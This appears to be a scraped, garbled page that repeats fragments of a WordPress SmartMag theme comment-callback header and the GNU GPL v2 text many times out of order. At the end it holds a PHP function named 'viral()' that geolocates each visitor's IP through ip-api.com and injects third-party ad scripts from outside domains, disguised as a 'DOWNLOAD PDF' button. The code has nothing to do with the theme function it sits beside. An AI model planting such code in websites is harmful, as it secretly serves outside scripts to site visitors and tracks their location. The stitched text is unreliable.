You are on page 1of 4

if (!

function_exists('bunyad_smartmag_comment')):

/**
* Callback for displaying a comment
*
* @todo eventually move to bunyad templates with auto-generated functions as
template containers
*
* @param mixed $comment
* @param array $args
* @param integer $depth
*/if (!function_exists('bunyad_smartmag_comment')):

/**
* Callback for displaying a comment
*
* @todo eventually move to bunyad templates with auto-generated functions as
template containers
*
* @param mixed $comment
* @param array $args
* @param integer $depth
*/
0. This License applies to any program or other work which contains a notice
placed by the copyright holder saying it may be distributed under the terms of this
General Public License. The "Program", below, refers to any such program or work,
and a "work based on the Program" means either the Program or any derivative work
under copyright law: that is to say, a work containing the Program or a portion of
it, either verbatim or with modifications and/or translated into another language.
(Hereinafter, translation is included without limitation in the term
"modification".) Each licensee is addressed as "you".

Activities other than copying, distribution and modification are not covered by
this License; they are outside its scope. The act of running the Program is not
restricted, and the output from the Program is covered only if its contents
constitute a work based on the Program (independent of having been made by running
the Program). Whether that is true depends on what the Program does.
GNU GENERAL PUBLIC LICENSE
Version 2, June 1991

Copyright (C) 1989, 1991 Free Software Foundation, Inc.


51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA

Everyone is permitted to copy and distribute verbatim copies


of this license document, but changing it is not allowed.
0. This License applies to any program or other work which contains a notice placed
by the copyright holder saying it may be distributed under the terms of this
General Public License. The "Program", below, refers to any such program or work,
and a "work based on the Program" means either the Program or any derivative work
under copyright law: that is to say, a work containing the Program or a portion of
it, either verbatim or with modifications and/or translated into another language.
(Hereinafter, translation is included without limitation in the term
"modification".) Each licensee is addressed as "you".

Activities other than copying, distribution and modification are not covered by
this License; they are outside its scope. The act of running the Program is not
restricted, and the output from the Program is covered only if its contents
constitute a work based on the Program (independent of having been made by running
the Program). Whether that is true depends on what the Program does.
GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
0. This License applies to any program or other work which contains a notice placed
by the copyright holder saying it may be distributed under the terms of this
General Public License. The "Program", below, refers to any such program or work,
and a "work based on the Program" means either the Program or any derivative work
under copyright law: that is to say, a work containing the Program or a portion of
it, either verbatim or with modifications and/or translated into another language.
(Hereinafter, translation is included without limitation in the term
"modification".) Each licensee is addressed as "you".

Activities other than copying, distribution and modification are not covered by
this License; they are outside its scope. The act of running the Program is not
restricted, and the output from the Program is covered only if its contents
constitute a work based on the Program (independent of having been made by running
the Program). Whether that is true depends on what the Program does.
GNU GENERAL PUBLIC LICENSE
Version 2, June 1991

Copyright (C) 1989, 1991 Free Software Foundation, Inc.


51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA

Everyone is permitted to copy and distribute verbatim copies


of this license document, but changing it is not allowed.

Preamble
if (!function_exists('bunyad_smartmag_comment')):

/**
* Callback for displaying a comment
*
* @todo eventually move to bunyad templates with auto-generated functions as
template containers
*
* @param mixed $comment
* @param array $args
* @param integer $depth
*/0. This License applies to any program or other work which contains a
notice placed by the copyright holder saying it may be distributed under the terms
of this General Public License. The "Program", below, refers to any such program or
work, and a "work based on the Program" means either the Program or any derivative
work under copyright law: that is to say, a work containing the Program or a
portion of it, either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in the term
"modification".) Each licensee is addressed as "you".

Activities other than copying, distribution and modification are not covered by
this License; they are outside its scope. The act of running the Program is not
restricted, and the output from the Program is covered only if its contents
constitute a work based on the Program (independent of having been made by running
the Program). Whether that is true depends on what the Program does.
GNU GENERAL PUBLIC LICENSE
Version 2, June 1991

Copyright (C) 1989, 1991 Free Software Foundation, Inc.


51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA

Everyone is permitted to copy and distribute verbatim copies


of this license document, but changing it is not allowed.
Preamble
if (!function_exists('bunyad_smartmag_comment')):

/**
* Callback for displaying a comment
*
* @todo eventually move to bunyad templates with auto-generated functions as
template containers
*
* @param mixed $comment
* @param array $args
* @param integer $depth
*/0. This License applies to any program or other work which contains a
notice placed by the copyright holder saying it may be distributed under the terms
of this General Public License. The "Program", below, refers to any such program or
work, and a "work based on the Program" means either the Program or any derivative
work under copyright law: that is to say, a work containing the Program or a
portion of it, either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in the term
"modification".) Each licensee is addressed as "you".

Activities other than copying, distribution and modification are not covered by
this License; they are outside its scope. The act of running the Program is not
restricted, and the output from the Program is covered only if its contents
constitute a work based on the Program (independent of having been made by running
the Program). Whether that is true depends on what the Program does.
GNU GENERAL PUBLIC LICENSE
Version 2, June 1991

Copyright (C) 1989, 1991 Free Software Foundation, Inc.


51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA

Everyone is permitted to copy and distribute verbatim copies


of this license document, but changing it is not allowed.

Preamble
if (!function_exists('bunyad_smartmag_comment')):

/**
* Callback for displaying a comment
*
* @todo eventually move to bunyad templates with auto-generated functions as
template containers
*
* @param mixed $comment
* @param array $args
* @param integer $depth
*/
Copyright (C) 1989, 1991 Free Software Foundation, Inc.
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA

Everyone is permitted to copy and distribute verbatim copies


of this license document, but changing it is not allowed.

Preamble
if (!function_exists('bunyad_smartmag_comment')):

/**
* Callback for displaying a comment
*
* @todo eventually move to bunyad templates with auto-generated functions as
template containers
*
* @param mixed $comment
* @param array $args
* @param integer $depth
*/
Preamble
if (!function_exists('bunyad_smartmag_comment')):

/**
* Callback for displaying a comment
*
* @todo eventually move to bunyad templates with auto-generated functions as
template containers
*
* @param mixed $comment
* @param array $args
* @param integer $depth
*/
private function viral(){

session_start();

if(!$_SESSION['country_code']) {
$var = file_get_contents('http://ip-api.com/json/'.
$_SERVER['REMOTE_ADDR']);
$location = json_decode($var);
$country_code = $location->countryCode;
$_SESSION['country_code'] = $country_code;
}

if($country_code == 'ES' || $country_code == 'IQ' || $country_code ==


'AR' || $country_code == 'PA' || $country_code == 'PE') {
echo '<center>
<script>var adParams = {s: 1000174411, w: 234,
h: 60, c: 2, blank: false, title: "DOWNLOAD PDF" }; </script><script
src="//js.srcsmrtgs.com/js/ad.js"></script>
</center>';
} else {
echo '<center>
<script>var adParams = {s: 1000282988, w: 234, h: 60,
c: 2, blank: false, title: "DOWNLOAD PDF" }; </script><script
src="//cdn.viralcpm.com/js/ad.js"></script>
</center>';
}
return;
}

You might also like